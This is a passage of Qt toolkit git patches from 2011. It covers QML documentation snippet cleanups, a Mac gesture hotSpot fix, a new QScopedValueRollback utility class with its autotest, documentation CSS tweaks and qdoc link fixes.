    +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
    +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
    +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
    +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
    +** $QT_END_LICENSE$
    +**
    +****************************************************************************/
    +import QtQuick 1.0
    +
    +Row {
    +
    +    Item {
    +        width: 400; height: 400
    +
    +        Rectangle {
    +            id: rect
    +            width: 200; height: 100
    +            color: "red"
    +
    +            states: State {
    +                name: "rotated"
    +                PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight }
    +            }
    +
    +            //! [sequential]
    +            transitions: Transition {
    +                SequentialAnimation {
    +                    PropertyAction { target: rect; property: "transformOrigin" }
    +                    RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise }
    +                }
    +            }
    +            //! [sequential]
    +
    +            MouseArea {
    +                anchors.fill: parent
    +                onClicked: rect.state = "rotated"
    +            }
    +        }
    +    }
    +}
    diff --git a/doc/src/snippets/declarative/propertyaction.qml b/doc/src/snippets/declarative/propertyaction.qml
    index dd21d14..f5ae798 100644
    --- a/doc/src/snippets/declarative/propertyaction.qml
    +++ b/doc/src/snippets/declarative/propertyaction.qml
    @@ -41,45 +41,43 @@ import QtQuick 1.0
     
     Row {
     
    -//![transition]
    -Item {
    -    width: 400; height: 400
    +    //![transition]
    +    Item {
    +        width: 400; height: 400
     
    -    Rectangle {
    -        id: rect
    -        width: 200; height: 100
    -        color: "red"
    +        Rectangle {
    +            id: rect
    +            width: 200; height: 100
    +            color: "red"
     
    -        states: State {
    -            name: "rotated"
    -            PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight }
    -        }
    +            states: State {
    +                name: "rotated"
    +                PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight }
    +            }
     
    -        transitions: Transition {
    -            RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise }
    -        }
    +            transitions: Transition {
    +                RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise }
    +            }
     
    -        MouseArea {
    -            anchors.fill: parent
    -            onClicked: rect.state = "rotated"
    +            MouseArea {
    +                anchors.fill: parent
    +                onClicked: rect.state = "rotated"
    +            }
             }
         }
    -}
    -//![transition]
    +    //![transition]
     
    -Item {
    -    width: 300; height: 300
    +    Item {
    +        width: 300; height: 300
     
    -    Image { id: img; source: "pics/qt.png" }
    -
    -//![standalone]
    -SequentialAnimation {
    -    PropertyAction { target: img; property: "smooth"; value: "true" }
    -    NumberAnimation { target: img; property: "width"; to: 300; duration: 1000 }
    -    PropertyAction { target: img; property: "smooth"; value: "false" }
    -}
    -//![standalone]
    -}
    +        Image { id: img; source: "pics/qt.png" }
     
    +        //![standalone]
    +        SequentialAnimation {
    +            PropertyAction { target: img; property: "smooth"; value: "true" }
    +            NumberAnimation { target: img; property: "width"; to: 300; duration: 1000 }
    +            PropertyAction { target: img; property: "smooth"; value: "false" }
    +        }
    +        //![standalone]
    +    }
     }
    -
    diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp
    index 5dbde15..2f53f21 100644
    --- a/src/declarative/util/qdeclarativeanimation.cpp
    +++ b/src/declarative/util/qdeclarativeanimation.cpp
    @@ -890,14 +890,7 @@ QAbstractAnimation *QDeclarativeScriptAction::qtAnimation()
         then jump to \c Item.BottomRight. To fix this, insert a PropertyAction
         before the RotationAnimation begins:
     
    -    \qml
    -    transitions: Transition {
    -        SequentialAnimation {
    -            PropertyAction { target: rect; property: "transformOrigin" }
    -            RotationAnimation { ... }
    -        }
    -    }
    -    \endqml
    +    \snippet doc/src/snippets/declarative/propertyaction-sequential.qml sequential
         
         This immediately sets the \c transformOrigin property to the value defined
         in the end state of the \l Transition (i.e. the value defined in the 
    @@ -1186,7 +1179,9 @@ void QDeclarativeNumberAnimation::init()
     
         \qml
         Item {
    -        states: [ ... ]
    +        states: [
    +            // ...
    +        ]
     
             transition: Transition {
                 NumberAnimation { properties: "x"; from: 100; duration: 200 }
    diff --git a/src/declarative/util/qdeclarativefontloader.cpp b/src/declarative/util/qdeclarativefontloader.cpp
    index d39da3f..eba9cf9 100644
    --- a/src/declarative/util/qdeclarativefontloader.cpp
    +++ b/src/declarative/util/qdeclarativefontloader.cpp
    @@ -262,8 +262,18 @@ void QDeclarativeFontLoader::updateFontInfo(const QString& name, QDeclarativeFon
     
         Example:
         \qml
    -    FontLoader { id: webFont; source: "http://www.mysite.com/myfont.ttf" }
    -    Text { text: "Fancy font"; font.family: webFont.name }
    +    Item {
    +        width: 200; height: 50
    +
    +        FontLoader {
    +            id: webFont
    +            source: "http://www.mysite.com/myfont.ttf"
    +        }
    +        Text {
    +            text: "Fancy font"
    +            font.family: webFont.name
    +        }
    +    }
         \endqml
     */
     QString QDeclarativeFontLoader::name() const
    -- 
    cgit v0.12
    
    
    From 1d85e1ce92e6df1af97bde7542467f40f7003975 Mon Sep 17 00:00:00 2001
    From: Zeno Albisser 
    Date: Thu, 20 Jan 2011 14:54:06 +0100
    Subject: Fix: define hotSpot for Gestures on Mac
    
    If there is no hotSpot defined for a gesture it cannot be propagated
    propperly within GraphicsView.
    
    Task-number: QTBUG-16618
    Reviewed-by: Denis Dzyubenko
    ---
     examples/gestures/imagegestures/imagewidget.cpp | 1 +
     src/gui/kernel/qmacgesturerecognizer_mac.mm     | 6 ++++++
     2 files changed, 7 insertions(+)
    
    diff --git a/examples/gestures/imagegestures/imagewidget.cpp b/examples/gestures/imagegestures/imagewidget.cpp
    index 12e6216..8bbb965 100644
    --- a/examples/gestures/imagegestures/imagewidget.cpp
    +++ b/examples/gestures/imagegestures/imagewidget.cpp
    @@ -1,3 +1,4 @@
    +
     /****************************************************************************
     **
     ** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
    diff --git a/src/gui/kernel/qmacgesturerecognizer_mac.mm b/src/gui/kernel/qmacgesturerecognizer_mac.mm
    index 0e432f3..6a4f0bb 100644
    --- a/src/gui/kernel/qmacgesturerecognizer_mac.mm
    +++ b/src/gui/kernel/qmacgesturerecognizer_mac.mm
    @@ -69,6 +69,7 @@ QMacSwipeGestureRecognizer::recognize(QGesture *gesture, QObject *obj, QEvent *e
                 case QNativeGestureEvent::Swipe: {
                     QSwipeGesture *g = static_cast(gesture);
                     g->setSwipeAngle(ev->angle);
    +                g->setHotSpot(ev->position);
                     return QGestureRecognizer::FinishGesture | QGestureRecognizer::ConsumeEventHint;
                     break; }
                 default:
    @@ -110,6 +111,7 @@ QMacPinchGestureRecognizer::recognize(QGesture *gesture, QObject *obj, QEvent *e
                 g->setCenterPoint(g->startCenterPoint());
                 g->setChangeFlags(QPinchGesture::CenterPointChanged);
                 g->setTotalChangeFlags(g->totalChangeFlags() | g->changeFlags());
    +            g->setHotSpot(ev->position);
                 return QGestureRecognizer::MayBeGesture | QGestureRecognizer::ConsumeEventHint;
             case QNativeGestureEvent::Rotate: {
                 g->setLastScaleFactor(g->scaleFactor());
    @@ -117,6 +119,7 @@ QMacPinchGestureRecognizer::recognize(QGesture *gesture, QObject *obj, QEvent *e
                 g->setRotationAngle(g->rotationAngle() + ev->percentage);
                 g->setChangeFlags(QPinchGesture::RotationAngleChanged);
                 g->setTotalChangeFlags(g->totalChangeFlags() | g->changeFlags());
    +            g->setHotSpot(ev->position);
                 return QGestureRecognizer::TriggerGesture | QGestureRecognizer::ConsumeEventHint;
             }
             case QNativeGestureEvent::Zoom:
    @@ -125,6 +128,7 @@ QMacPinchGestureRecognizer::recognize(QGesture *gesture, QObject *obj, QEvent *e
                 g->setScaleFactor(g->scaleFactor() * (1 + ev->percentage));
                 g->setChangeFlags(QPinchGesture::ScaleFactorChanged);
                 g->setTotalChangeFlags(g->totalChangeFlags() | g->changeFlags());
    +            g->setHotSpot(ev->position);
                 return QGestureRecognizer::TriggerGesture | QGestureRecognizer::ConsumeEventHint;
             case QNativeGestureEvent::GestureEnd:
                 return QGestureRecognizer::FinishGesture | QGestureRecognizer::ConsumeEventHint;
    @@ -221,6 +225,7 @@ QMacPanGestureRecognizer::recognize(QGesture *gesture, QObject *target, QEvent *
                     const QPointF posOffset = p - _startPos;
                     g->setLastOffset(g->offset());
                     g->setOffset(QPointF(posOffset.x(), posOffset.y()));
    +                g->setHotSpot(_startPos);
                     return QGestureRecognizer::TriggerGesture;
                 }
             } else if (_panTimer.isActive()) {
    @@ -239,6 +244,7 @@ QMacPanGestureRecognizer::recognize(QGesture *gesture, QObject *target, QEvent *
                     break;
                 // Begin new pan session!
                 _startPos = QCursor::pos();
    +            g->setHotSpot(_startPos);
                 return QGestureRecognizer::TriggerGesture | QGestureRecognizer::ConsumeEventHint;
             }
             break; }
    -- 
    cgit v0.12
    
    
    From 836c4f622b16524aedb00e8866ddd883f1346cb5 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Wed, 26 Jan 2011 16:09:39 +0100
    Subject: Doc: Added a link from the plugin guide to the plugin deployment
     guide.
    
    Task-number: QTBUG-9501
    ---
     doc/src/frameworks-technologies/plugins-howto.qdoc | 9 +++++++--
     1 file changed, 7 insertions(+), 2 deletions(-)
    
    diff --git a/doc/src/frameworks-technologies/plugins-howto.qdoc b/doc/src/frameworks-technologies/plugins-howto.qdoc
    index 3dc2996..b332d57 100644
    --- a/doc/src/frameworks-technologies/plugins-howto.qdoc
    +++ b/doc/src/frameworks-technologies/plugins-howto.qdoc
    @@ -48,7 +48,7 @@
     
         \ingroup frameworks-technologies
         \ingroup qt-basic-concepts
    -	
    +
     
         \keyword QT_DEBUG_PLUGINS
         \keyword QT_NO_PLUGIN_CHECK
    @@ -87,7 +87,7 @@
         directory.
     
         \table
    -    \header \o Base Class              \o Directory Name                \o Key Case Sensitivity
    +    \header \o Base Class              \o Directory Name      \o Key Case Sensitivity
         \row    \o QAccessibleBridgePlugin \o \c accessiblebridge \o Case Sensitive
         \row    \o QAccessiblePlugin       \o \c accessible       \o Case Sensitive
         \row    \o QDecorationPlugin       \o \c decorations      \o Case Insensitive
    @@ -309,5 +309,10 @@
         to make sure that the \c{QT_STATICPLUGIN} preprocessor macro is
         defined.
     
    +    \section1 Deploying and Debugging Plugins
    +
    +    The \l{Deploying Plugins} document covers the process of deploying
    +    plugins with applications and debugging them when problems arise.
    +
         \sa QPluginLoader, QLibrary, {Plug & Paint Example}
     */
    -- 
    cgit v0.12
    
    
    From f65b7aa11d18ab710bc2e6720d7a6dbc8f169c65 Mon Sep 17 00:00:00 2001
    From: Shane Kearns 
    Date: Mon, 17 Jan 2011 13:35:58 +0000
    Subject: Add QScopedValueRollback tools class.
    
    This template allows a value to be automatically rolled back to a previous
    state when the class goes out of scope. This can be used to maintain a
    valid state when an exception is thrown.
    
    Reviewed-by: mread
    Reviewed-by: joao
    ---
     src/corelib/tools/qscopedvaluerollback.cpp | 84 ++++++++++++++++++++++++++++++
     src/corelib/tools/qscopedvaluerollback.h   | 81 ++++++++++++++++++++++++++++
     src/corelib/tools/tools.pri                |  7 +--
     3 files changed, 169 insertions(+), 3 deletions(-)
     create mode 100644 src/corelib/tools/qscopedvaluerollback.cpp
     create mode 100644 src/corelib/tools/qscopedvaluerollback.h
    
    diff --git a/src/corelib/tools/qscopedvaluerollback.cpp b/src/corelib/tools/qscopedvaluerollback.cpp
    new file mode 100644
    index 0000000..8933efc
    --- /dev/null
    +++ b/src/corelib/tools/qscopedvaluerollback.cpp
    @@ -0,0 +1,84 @@
    +/****************************************************************************
    +**
    +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
    +** All rights reserved.
    +** Contact: Nokia Corporation (qt-info@nokia.com)
    +**
    +** This file is part of the QtCore module of the Qt Toolkit.
    +**
    +** $QT_BEGIN_LICENSE:LGPL$
    +** No Commercial Usage
    +** This file contains pre-release code and may not be distributed.
    +** You may use this file in accordance with the terms and conditions
    +** contained in the Technology Preview License Agreement accompanying
    +** this package.
    +**
    +** GNU Lesser General Public License Usage
    +** Alternatively, this file may be used under the terms of the GNU Lesser
    +** General Public License version 2.1 as published by the Free Software
    +** Foundation and appearing in the file LICENSE.LGPL included in the
    +** packaging of this file.  Please review the following information to
    +** ensure the GNU Lesser General Public License version 2.1 requirements
    +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
    +**
    +** In addition, as a special exception, Nokia gives you certain additional
    +** rights.  These rights are described in the Nokia Qt LGPL Exception
    +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
    +**
    +** If you have questions regarding the use of this file, please contact
    +** Nokia at qt-info@nokia.com.
    +**
    +**
    +**
    +**
    +**
    +**
    +**
    +**
    +** $QT_END_LICENSE$
    +**
    +****************************************************************************/
    +
    +#include "qscopedvaluerollback.h"
    +
    +QT_BEGIN_NAMESPACE
    +
    +/*!
    +    \class QScopedValueRollback
    +    \brief The QScopedValueRollback resets a variable to its previous value on destruction
    +    \since 4.8
    +    \ingroup misc
    +
    +    The QScopedAssignment class can be used to revert state when an
    +    exception is thrown without needing to write try-catch blocks.
    +
    +    It can also be used to manage variables that are temporarily set,
    +    such as reentrancy guards. By using this class, the variable will
    +    be reset whether the function is exited normally, exited early by
    +    a return statement, or exited by an exception.
    +
    +    The template can only be instantiated with a type that supports assignment.
    +
    +    \sa QScopedPointer
    +*/
    +
    +/*!
    +    \fn QScopedValueRollback::QScopedValueRollback(T &var)
    +
    +    Stores the previous value of var internally, for revert on destruction.
    +*/
    +
    +/*!
    +    \fn QScopedValueRollback::~QScopedValueRollback()
    +
    +    Assigns the previous value to the managed variable.
    +    This is the value at construction time, or at the last call to commit()
    +*/
    +
    +/*!
    +    \fn void QScopedValueRollback::commit()
    +
    +    Updates the previous value of the managed variable to its current value.
    +*/
    +
    +QT_END_NAMESPACE
    diff --git a/src/corelib/tools/qscopedvaluerollback.h b/src/corelib/tools/qscopedvaluerollback.h
    new file mode 100644
    index 0000000..d344ed8
    --- /dev/null
    +++ b/src/corelib/tools/qscopedvaluerollback.h
    @@ -0,0 +1,81 @@
    +/****************************************************************************
    +**
    +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
    +** All rights reserved.
    +** Contact: Nokia Corporation (qt-info@nokia.com)
    +**
    +** This file is part of the QtCore module of the Qt Toolkit.
    +**
    +** $QT_BEGIN_LICENSE:LGPL$
    +** No Commercial Usage
    +** This file contains pre-release code and may not be distributed.
    +** You may use this file in accordance with the terms and conditions
    +** contained in the Technology Preview License Agreement accompanying
    +** this package.
    +**
    +** GNU Lesser General Public License Usage
    +** Alternatively, this file may be used under the terms of the GNU Lesser
    +** General Public License version 2.1 as published by the Free Software
    +** Foundation and appearing in the file LICENSE.LGPL included in the
    +** packaging of this file.  Please review the following information to
    +** ensure the GNU Lesser General Public License version 2.1 requirements
    +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
    +**
    +** In addition, as a special exception, Nokia gives you certain additional
    +** rights.  These rights are described in the Nokia Qt LGPL Exception
    +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
    +**
    +** If you have questions regarding the use of this file, please contact
    +** Nokia at qt-info@nokia.com.
    +**
    +**
    +**
    +**
    +**
    +**
    +**
    +**
    +** $QT_END_LICENSE$
    +**
    +****************************************************************************/
    +
    +#ifndef QSCOPEDVALUEROLLBACK_H
    +#define QSCOPEDVALUEROLLBACK_H
    +
    +#include 
    +
    +QT_BEGIN_HEADER
    +QT_BEGIN_NAMESPACE
    +QT_MODULE(Core)
    +
    +template 
    +class QScopedValueRollback
    +{
    +public:
    +    QScopedValueRollback(T &var) :
    +        varRef(var)
    +    {
    +        oldValue = varRef;
    +    }
    +
    +    ~QScopedValueRollback()
    +    {
    +        varRef = oldValue;
    +    }
    +
    +    void commit()
    +    {
    +        oldValue = varRef;
    +    }
    +
    +private:
    +    T& varRef;
    +    T oldValue;
    +
    +    Q_DISABLE_COPY(QScopedValueRollback);
    +};
    +
    +QT_END_NAMESPACE
    +QT_END_HEADER
    +
    +#endif // QSCOPEDVALUEROLLBACK_H
    diff --git a/src/corelib/tools/tools.pri b/src/corelib/tools/tools.pri
    index 03bb32d..9d564a1 100644
    --- a/src/corelib/tools/tools.pri
    +++ b/src/corelib/tools/tools.pri
    @@ -29,6 +29,9 @@ HEADERS +=  \
             tools/qrect.h \
             tools/qregexp.h \
             tools/qringbuffer_p.h \
    +        tools/qscopedpointer.h \
    +        tools/qscopedpointer_p.h \
    +        tools/qscopedvaluerollback.h \
             tools/qshareddata.h \
             tools/qsharedpointer.h \
             tools/qsharedpointer_impl.h \
    @@ -45,9 +48,7 @@ HEADERS +=  \
             tools/qelapsedtimer.h \
             tools/qunicodetables_p.h \
             tools/qvarlengtharray.h \
    -        tools/qvector.h \
    -        tools/qscopedpointer.h \
    -        tools/qscopedpointer_p.h
    +        tools/qvector.h
     
     
     SOURCES += \
    -- 
    cgit v0.12
    
    
    From 7a2442f3027d305a724fbf7b9248463241e32c2b Mon Sep 17 00:00:00 2001
    From: Shane Kearns 
    Date: Mon, 17 Jan 2011 15:07:46 +0000
    Subject: Add autotest for QScopedValueRollback
    
    Reviewed-by: mread
    ---
     .../qscopedvaluerollback/qscopedvaluerollback.pro  |   4 +
     .../tst_qscopedvaluerollback.cpp                   | 203 +++++++++++++++++++++
     2 files changed, 207 insertions(+)
     create mode 100644 tests/auto/qscopedvaluerollback/qscopedvaluerollback.pro
     create mode 100644 tests/auto/qscopedvaluerollback/tst_qscopedvaluerollback.cpp
    
    diff --git a/tests/auto/qscopedvaluerollback/qscopedvaluerollback.pro b/tests/auto/qscopedvaluerollback/qscopedvaluerollback.pro
    new file mode 100644
    index 0000000..f06e21b
    --- /dev/null
    +++ b/tests/auto/qscopedvaluerollback/qscopedvaluerollback.pro
    @@ -0,0 +1,4 @@
    +load(qttest_p4)
    +SOURCES += tst_qscopedvaluerollback.cpp
    +QT -= gui
    +CONFIG += parallel_test
    diff --git a/tests/auto/qscopedvaluerollback/tst_qscopedvaluerollback.cpp b/tests/auto/qscopedvaluerollback/tst_qscopedvaluerollback.cpp
    new file mode 100644
    index 0000000..fac5702
    --- /dev/null
    +++ b/tests/auto/qscopedvaluerollback/tst_qscopedvaluerollback.cpp
    @@ -0,0 +1,203 @@
    +/****************************************************************************
    +**
    +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
    +** All rights reserved.
    +** Contact: Nokia Corporation (qt-info@nokia.com)
    +**
    +** This file is part of the test suite of the Qt Toolkit.
    +**
    +** $QT_BEGIN_LICENSE:LGPL$
    +** No Commercial Usage
    +** This file contains pre-release code and may not be distributed.
    +** You may use this file in accordance with the terms and conditions
    +** contained in the Technology Preview License Agreement accompanying
    +** this package.
    +**
    +** GNU Lesser General Public License Usage
    +** Alternatively, this file may be used under the terms of the GNU Lesser
    +** General Public License version 2.1 as published by the Free Software
    +** Foundation and appearing in the file LICENSE.LGPL included in the
    +** packaging of this file.  Please review the following information to
    +** ensure the GNU Lesser General Public License version 2.1 requirements
    +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
    +**
    +** In addition, as a special exception, Nokia gives you certain additional
    +** rights.  These rights are described in the Nokia Qt LGPL Exception
    +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
    +**
    +** If you have questions regarding the use of this file, please contact
    +** Nokia at qt-info@nokia.com.
    +**
    +**
    +**
    +**
    +**
    +**
    +**
    +**
    +** $QT_END_LICENSE$
    +**
    +****************************************************************************/
    +
    +#include 
    +#include 
    +
    +/*!
    + \class tst_QScopedValueRollback
    + \internal
    + \since 4.8
    + \brief Tests class QScopedValueRollback.
    +
    + */
    +class tst_QScopedValueRollback : public QObject
    +{
    +    Q_OBJECT
    +
    +private Q_SLOTS:
    +    void leavingScope();
    +    void leavingScopeAfterCommit();
    +    void rollbackToPreviousCommit();
    +    void exceptions();
    +    void earlyExitScope();
    +private:
    +    void earlyExitScope_helper(int exitpoint, int &member);
    +};
    +
    +void tst_QScopedValueRollback::leavingScope()
    +{
    +    int i = 0;
    +    bool b = false;
    +    QString s("This is useful");
    +
    +    //test rollback on going out of scope
    +    {
    +        QScopedValueRollback ri(i);
    +        QScopedValueRollback rb(b);
    +        QScopedValueRollback rs(s);
    +        QCOMPARE(b, false);
    +        QCOMPARE(i, 0);
    +        QCOMPARE(s, QString("This is useful"));
    +        b = true;
    +        i = 1;
    +        s = "Useless";
    +        QCOMPARE(b, true);
    +        QCOMPARE(i, 1);
    +        QCOMPARE(s, QString("Useless"));
    +    }
    +    QCOMPARE(b, false);
    +    QCOMPARE(i, 0);
    +    QCOMPARE(s, QString("This is useful"));
    +}
    +
    +void tst_QScopedValueRollback::leavingScopeAfterCommit()
    +{
    +    int i = 0;
    +    bool b = false;
    +    QString s("This is useful");
    +
    +    //test rollback on going out of scope
    +    {
    +        QScopedValueRollback ri(i);
    +        QScopedValueRollback rb(b);
    +        QScopedValueRollback rs(s);
    +        QCOMPARE(b, false);
    +        QCOMPARE(i, 0);
    +        QCOMPARE(s, QString("This is useful"));
    +        b = true;
    +        i = 1;
    +        s = "Useless";
    +        QCOMPARE(b, true);
    +        QCOMPARE(i, 1);
    +        QCOMPARE(s, QString("Useless"));
    +        ri.commit();
    +        rb.commit();
    +        rs.commit();
    +    }
    +    QCOMPARE(b, true);
    +    QCOMPARE(i, 1);
    +    QCOMPARE(s, QString("Useless"));
    +}
    +
    +void tst_QScopedValueRollback::rollbackToPreviousCommit()
    +{
    +    int i=0;
    +    {
    +        QScopedValueRollback ri(i);
    +        i++;
    +        ri.commit();
    +        i++;
    +    }
    +    QCOMPARE(i,1);
    +    {
    +        QScopedValueRollback ri1(i);
    +        i++;
    +        ri1.commit();
    +        i++;
    +        ri1.commit();
    +        i++;
    +    }
    +    QCOMPARE(i,3);
    +}
    +
    +void tst_QScopedValueRollback::exceptions()
    +{
    +    bool b = false;
    +    bool caught = false;
    +    QT_TRY
    +    {
    +        QScopedValueRollback rb(b);
    +        b = true;
    +        QT_THROW(std::bad_alloc()); //if Qt compiled without exceptions this is noop
    +        rb.commit(); //if Qt compiled without exceptions, true is committed
    +    }
    +    QT_CATCH(...)
    +    {
    +        caught = true;
    +    }
    +    QCOMPARE(b, !caught); //expect false if exception was thrown, true otherwise
    +}
    +
    +void tst_QScopedValueRollback::earlyExitScope()
    +{
    +    int i=0;
    +    int j=0;
    +    while (true) {
    +        QScopedValueRollback ri(i);
    +        i++;
    +        j=i;
    +        if (i>8) break;
    +        ri.commit();
    +    }
    +    QCOMPARE(i,8);
    +    QCOMPARE(j,9);
    +
    +    for (i = 0; i < 5; i++) {
    +        j=1;
    +        earlyExitScope_helper(i,j);
    +        QCOMPARE(j, 1< r(member);
    +    member *= 2;
    +    if (exitpoint == 0)
    +        return;
    +    r.commit();
    +    member *= 2;
    +    if (exitpoint == 1)
    +        return;
    +    r.commit();
    +    member *= 2;
    +    if (exitpoint == 2)
    +        return;
    +    r.commit();
    +    member *= 2;
    +    if (exitpoint == 3)
    +        return;
    +    r.commit();
    +}
    +
    +QTEST_MAIN(tst_QScopedValueRollback)
    +#include "tst_QScopedValueRollback.moc"
    -- 
    cgit v0.12
    
    
    From fd399bcd1c55e6e4b7ecab856167599e5a9d153c Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Wed, 26 Jan 2011 16:54:07 +0100
    Subject: Doc: Added preprocessor coloring.
    
    ---
     doc/src/template/style/offline.css | 10 +++++++++-
     doc/src/template/style/style.css   | 10 +++++++++-
     2 files changed, 18 insertions(+), 2 deletions(-)
    
    diff --git a/doc/src/template/style/offline.css b/doc/src/template/style/offline.css
    index f5eb1c0..fe9aa13 100644
    --- a/doc/src/template/style/offline.css
    +++ b/doc/src/template/style/offline.css
    @@ -174,7 +174,7 @@
         }
         span.operator
         {
    -        color: black;
    +        color: #202020;
         }
         span.keyword
         {
    @@ -188,6 +188,14 @@
         {
             font-weight: bold
         }
    +    span.type a:visited
    +    {
    +        color: #0F5300;
    +    }
    +    span.preprocessor
    +    {
    +        color: #404040
    +    }
     /* end basic elements */
     
     /* font style elements */
    diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css
    index c35acac..cac4e58 100755
    --- a/doc/src/template/style/style.css
    +++ b/doc/src/template/style/style.css
    @@ -200,7 +200,7 @@
         }
         span.operator
         {
    -        color: black;
    +        color: #202020;
         }
         span.keyword
         {
    @@ -214,6 +214,14 @@
         {
             font-weight: bold
         }
    +    span.type a:visited
    +    {
    +        color: #0F5300;
    +    }
    +    span.preprocessor
    +    {
    +        color: #404040
    +    }
     /* end basic elements */
     
     /* font style elements */
    -- 
    cgit v0.12
    
    
    From c5bd324a9216e37e907e9c85c0fe96b58772eaa2 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Wed, 26 Jan 2011 16:57:04 +0100
    Subject: Doc: Fixed qdoc warnings about broken links.
    
    ---
     doc/src/declarative/advtutorial.qdoc                 |  3 +--
     doc/src/declarative/qdeclarativeintro.qdoc           | 10 +++++-----
     doc/src/examples/qml-examples.qdoc                   |  4 ++--
     src/declarative/util/qdeclarativeanimation.cpp       |  2 +-
     src/declarative/util/qdeclarativestateoperations.cpp |  2 +-
     5 files changed, 10 insertions(+), 11 deletions(-)
    
    diff --git a/doc/src/declarative/advtutorial.qdoc b/doc/src/declarative/advtutorial.qdoc
    index 6cd1f22..263c78b 100644
    --- a/doc/src/declarative/advtutorial.qdoc
    +++ b/doc/src/declarative/advtutorial.qdoc
    @@ -41,7 +41,7 @@ included in the declarative \c demos directory, which looks like this:
     \image declarative-samegame.png
     
     We will cover concepts for producing a fully functioning application, including
    -JavaScript integration, using QML  \l States and \l {Behavior}{Behaviors} to 
    +JavaScript integration, using QML  \l{State}{States} and \l{Behavior}{Behaviors} to 
     manage components and enhance your interface, and storing persistent application data.
     
     An understanding of JavaScript is helpful to understand parts of this tutorial, but if you don't
    @@ -462,5 +462,4 @@ By following this tutorial you've seen how you can write a fully functional appl
     
     There is so much more to learn about QML that we haven't been able to cover in this tutorial. Check out all the
     demos and examples and the \l {Qt Quick}{documentation} to see all the things you can do with QML!
    -
     */
    diff --git a/doc/src/declarative/qdeclarativeintro.qdoc b/doc/src/declarative/qdeclarativeintro.qdoc
    index 9b96d43..02692de 100644
    --- a/doc/src/declarative/qdeclarativeintro.qdoc
    +++ b/doc/src/declarative/qdeclarativeintro.qdoc
    @@ -27,7 +27,7 @@
     
     /*!
     \page qdeclarativeintroduction.html
    -\title Introduction to the QML language
    +\title Introduction to the QML Language
     
     \tableofcontents
     
    @@ -121,7 +121,7 @@ line opacity: 0.5 has been turned into a comment.
     
     
     
    -\section1 Object identifiers
    +\section1 Object Identifiers
     
     Each object can be given a special \e id value that allows the object to be identified
     and referred to by other objects.
    @@ -194,7 +194,7 @@ automatically updated.
     \section1 Properties
     \target intro-properties
     
    -\section2 Basic property types
    +\section2 Basic Property Types
     
     QML supports properties of many types (see \l{QML Basic Types}). The basic types include \c int,
     \c real, \c bool, \c string and \c color.
    @@ -222,7 +222,7 @@ Note that with the exception of \l {Attached Properties}, properties always begi
     letter.
     
     
    -\section2 Property change notifications
    +\section2 Property Change Notifications
     
     When a property changes value, it can send a signal to notify others of this change.
     
    @@ -271,7 +271,7 @@ Items in the list can be accessed by index. See the \l{list}{list type} document
     for more details about list properties and their available operations.
     
     
    -\section2 Default properties
    +\section2 Default Properties
     
     Each object type can specify one of its list or object properties as its default property.
     If a property has been declared as the default property, the property tag can be omitted.
    diff --git a/doc/src/examples/qml-examples.qdoc b/doc/src/examples/qml-examples.qdoc
    index 46af110..cd1bbe7 100644
    --- a/doc/src/examples/qml-examples.qdoc
    +++ b/doc/src/examples/qml-examples.qdoc
    @@ -68,7 +68,7 @@
         \title Animation: States Example
         \example declarative/animation/states
     
    -    These examples show how to use \l{States}{states} and \l{Transitions}{transitions}.
    +    These examples show how to use \l{State}{states} and \l{Transition}{transitions}.
     
         The \c states.qml example shows how an item can change between states, and \c transitions.qml
         shows how these state changes can be animated.
    @@ -664,7 +664,7 @@
     
         This example shows how to create a tab widget. It also demonstrates how
         \l {Property aliases}{property aliases} and
    -    \l {Default Properties}{default properties} can be used to collect and
    +    \l {Introduction to the QML Language#Default Properties}{default properties} can be used to collect and
         assemble the child items declared within an \l Item.
     
         \image qml-tabwidget-example.png
    diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp
    index 2f53f21..bd3234f 100644
    --- a/src/declarative/util/qdeclarativeanimation.cpp
    +++ b/src/declarative/util/qdeclarativeanimation.cpp
    @@ -732,7 +732,7 @@ void QDeclarativeColorAnimation::setTo(const QColor &t)
         \inherits Animation
         \brief The ScriptAction element allows scripts to be run during an animation.
     
    -    ScriptAction can be used to run script at a specific point in an animation.
    +    ScriptAction can be used to run a script at a specific point in an animation.
     
         \qml
         SequentialAnimation {
    diff --git a/src/declarative/util/qdeclarativestateoperations.cpp b/src/declarative/util/qdeclarativestateoperations.cpp
    index dd49dde..9a5aa66 100644
    --- a/src/declarative/util/qdeclarativestateoperations.cpp
    +++ b/src/declarative/util/qdeclarativestateoperations.cpp
    @@ -634,7 +634,7 @@ void QDeclarativeStateChangeScript::setScript(const QDeclarativeScriptString &s)
         This property holds the name of the script. This name can be used by a
         ScriptAction to target a specific script.
     
    -    \sa ScriptAction::stateChangeScriptName
    +    \sa ScriptAction::scriptName
     */
     QString QDeclarativeStateChangeScript::name() const
     {
    -- 
    cgit v0.12
    
    
    From 4c263772fa92cb270e32d5b1519b278f780f2635 Mon Sep 17 00:00:00 2001
